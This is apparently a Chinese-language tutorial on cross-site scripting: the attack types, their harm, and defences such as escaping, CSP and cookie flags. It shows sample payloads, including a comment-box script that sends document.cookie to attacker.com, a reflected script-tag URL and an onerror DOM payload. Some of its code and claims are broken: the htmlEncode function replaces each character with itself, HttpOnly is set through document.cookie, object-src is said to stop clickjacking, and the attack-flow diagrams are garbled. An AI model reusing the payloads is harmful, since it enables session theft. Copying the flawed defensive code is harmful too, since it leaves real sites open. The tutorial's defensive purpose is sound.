文章目录
-
- [什么是 XSS 攻击?](#什么是 XSS 攻击?)
- [XSS 攻击类型详解](#XSS 攻击类型详解)
-
- [1. 存储型 XSS (Stored XSS)](#1. 存储型 XSS (Stored XSS))
- [2. 反射型 XSS (Reflected XSS)](#2. 反射型 XSS (Reflected XSS))
- [3. DOM 型 XSS (DOM-based XSS)](#3. DOM 型 XSS (DOM-based XSS))
- [XSS 攻击的危害程度](#XSS 攻击的危害程度)
- [全面防范 XSS 攻击](#全面防范 XSS 攻击)
-
- [1. 输入验证与过滤 (Input Validation)](#1. 输入验证与过滤 (Input Validation))
- [2. 输出编码与转义 (Output Encoding)](#2. 输出编码与转义 (Output Encoding))
-
- [HTML 转义函数示例](#HTML 转义函数示例)
- 不同上下文的转义规则
- [3. 内容安全策略 (Content Security Policy, CSP)](#3. 内容安全策略 (Content Security Policy, CSP))
-
- [CSP 配置示例](#CSP 配置示例)
- [CSP 指令说明](#CSP 指令说明)
- [4. 安全的 Cookie 设置](#4. 安全的 Cookie 设置)
- [5. 其他防护措施](#5. 其他防护措施)
- 开发检查清单
- 总结
什么是 XSS 攻击?
XSS 攻击(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞。攻击者通过在受信任的网站中注入恶意的客户端脚本(通常是 JavaScript),当其他用户访问该网站时,这些恶意脚本就会在用户的浏览器中执行,从而达到攻击目的。
XSS 的核心问题是:Web 应用程序"信任"了来自用户的数据,却未经过充分的检查和过滤,就将其作为"代码"发送给了其他用户的浏览器。
⚠️ 重要提示:XSS 漏洞在 OWASP Top 10 中常年位居前列,是 Web 安全必须重视的威胁。
XSS 攻击类型详解
XSS 攻击主要分为三类,这三类代表了不同的注入途径和攻击模式:
1. 存储型 XSS (Stored XSS)
这是最危险的一种 XSS 攻击。
特征 | 描述 |
---|---|
注入途径 | 攻击者将恶意脚本提交并永久存储在目标网站的服务器上 |
存储位置 | 数据库、消息论坛、评论区、用户个人资料等 |
影响范围 | 所有访问受影响页面的用户 |
攻击流程:
攻击者 服务器 数据库 普通用户 普通用户浏览器 攻击者服务器 提交恶意脚本到数据库 存储恶意内容 访问包含恶意内容的页面 读取恶意内容 返回包含恶意脚本的页面 执行脚本,发送敏感信息 攻击者 服务器 数据库 普通用户 普通用户浏览器 攻击者服务器
真实案例:
html
<!-- 攻击者在评论区提交的恶意代码 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
2. 反射型 XSS (Reflected XSS)
这是最常见的一种 XSS 攻击。
特征 | 描述 |
---|---|
注入途径 | 恶意脚本通过 URL 参数等方式发送给服务器 |
存储位置 | 不存储在服务器上,只存在于单个请求中 |
传播方式 | 钓鱼邮件、恶意链接 |
攻击流程:
攻击者 受害者 网站服务器 受害者浏览器 攻击者服务器 发送恶意链接 点击链接,发送恶意请求 返回包含恶意脚本的页面 执行反射回来的脚本 攻击者 受害者 网站服务器 受害者浏览器 攻击者服务器
示例 URL:
https://vulnerable-site.com/search?q=<script>alert('XSS')</script>
3. DOM 型 XSS (DOM-based XSS)
攻击完全发生在客户端(浏览器)上。
特征 | 描述 |
---|---|
攻击位置 | 完全在客户端进行,服务器可能不受影响 |
数据来源 | URL 片段、本地存储、客户端 JavaScript |
检测难度 | 较难发现,需要动态分析 |
攻击示例:
javascript
// 漏洞代码 - 直接从 URL 读取并插入 DOM
var userInput = window.location.hash.substring(1);
document.getElementById("welcome").innerHTML = "Hello, " + userInput;
// 攻击者构造的 URL
// https://example.com/#<img src=x onerror=stealCookie()>
XSS 攻击的危害程度
下表展示了不同严重程度的 XSS 攻击影响:
严重程度 | 可能造成的危害 |
---|---|
🔴 严重 | 窃取用户会话 Cookie,完全控制账户 |
🔴 严重 | 盗取敏感信息(密码、个人信息) |
🟡 中等 | 网站挂马,传播恶意软件 |
🟡 中等 | 键盘记录,窃取输入内容 |
🟢 一般 | 页面篡改,显示虚假信息 |
🟢 一般 | 发起 CSRF 攻击 |
全面防范 XSS 攻击
防范 XSS 的核心原则是 「不信任任何用户输入」,并结合多种策略进行纵深防御。
1. 输入验证与过滤 (Input Validation)
白名单验证(推荐)
javascript
// 正确的白名单验证示例
function validateUsername(username) {
// 只允许字母、数字、下划线,长度 3-20
const regex = /^[a-zA-Z0-9_]{3,20}$/;
return regex.test(username);
}
// 使用示例
if (!validateUsername(userInput)) {
throw new Error('用户名格式无效');
}
黑名单过滤(不推荐作为主要手段)
javascript
// 不安全的黑名单示例(容易被绕过)
function badFilter(input) {
const blacklist = ['<script>', 'javascript:', 'onerror'];
let filtered = input;
blacklist.forEach(item => {
filtered = filtered.replace(item, '');
});
return filtered; // 这种方法不安全!
}
2. 输出编码与转义 (Output Encoding)
这是防范 XSS 最关键和最有效的方法。
HTML 转义函数示例
javascript
function htmlEncode(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
// 使用现代前端框架的转义
// React: 自动转义,使用 {userInput}
// Vue: 自动转义,使用 {{ userInput }}
// Angular: 自动转义,使用 {{ userInput }}
不同上下文的转义规则
上下文 | 转义规则 | 示例 |
---|---|---|
HTML 内容 | 转义 < , > , & 等 |
<script> |
HTML 属性 | 转义 " 和 ' |
data-value=""alert"" |
JavaScript | 使用 JSON.stringify() |
var data = ${JSON.stringify(userData)}; |
CSS | 转义特殊字符 | background: url("${cssEscape(url)}") |
URL | 使用 encodeURIComponent() |
href="/search?q=${encodeURIComponent(query)}" |
3. 内容安全策略 (Content Security Policy, CSP)
CSP 是现代浏览器最重要的 XSS 防护机制。
CSP 配置示例
http
# 严格的 CSP 策略
Content-Security-Policy:
default-src 'none';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
CSP 指令说明
default-src 'none'
: 默认拒绝所有资源加载script-src 'self'
: 只允许同源脚本'unsafe-inline'
: 允许内联样式(谨慎使用)object-src 'none'
: 禁止插件,防范 Clickjacking
4. 安全的 Cookie 设置
javascript
// 设置安全的 Cookie
document.cookie = `sessionId=${sessionId}; ` +
`HttpOnly; ` + // 防止 JavaScript 访问
`Secure; ` + // 仅 HTTPS 传输
`SameSite=Strict; ` + // 防范 CSRF
`Max-Age=3600; ` + // 设置过期时间
`Path=/`;
// Express.js 示例
app.use(session({
secret: 'your-secret',
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
}
}));
5. 其他防护措施
使用现代前端框架
js
// React - 自动转义
function UserProfile({ username }) {
return <div>Hello, {username}</div>; // 自动安全转义
}
// 危险:需要显式使用 dangerouslySetInnerHTML
function DangerousComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
服务端防护头设置
javascript
// Node.js/Express 安全头设置
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
开发检查清单
- 输入验证:对所有用户输入进行白名单验证
- 输出转义:根据上下文正确转义所有动态内容
- CSP 配置:设置严格的内容安全策略
- HttpOnly Cookie:会话 Cookie 设置 HttpOnly 属性
- 安全头设置:配置 X-XSS-Protection、X-Content-Type-Options 等
- 框架安全特性:利用现代框架的内置安全机制
- 安全测试:定期进行安全扫描和渗透测试
总结
XSS 攻击虽然危险,但通过纵深防御策略可以有效防范。记住安全开发的黄金法则:
永远不要信任用户输入,对所有输出进行编码转义
通过结合输入验证、输出编码、CSP 策略和安全的开发实践,可以构建出能够抵御 XSS 攻击的健壮 Web 应用程序。
通过 拒绝 用户输入 输入验证 业务处理 错误处理 输出编码 安全显示 CSP保护 安全页面
安全开发,从每一个细节开始!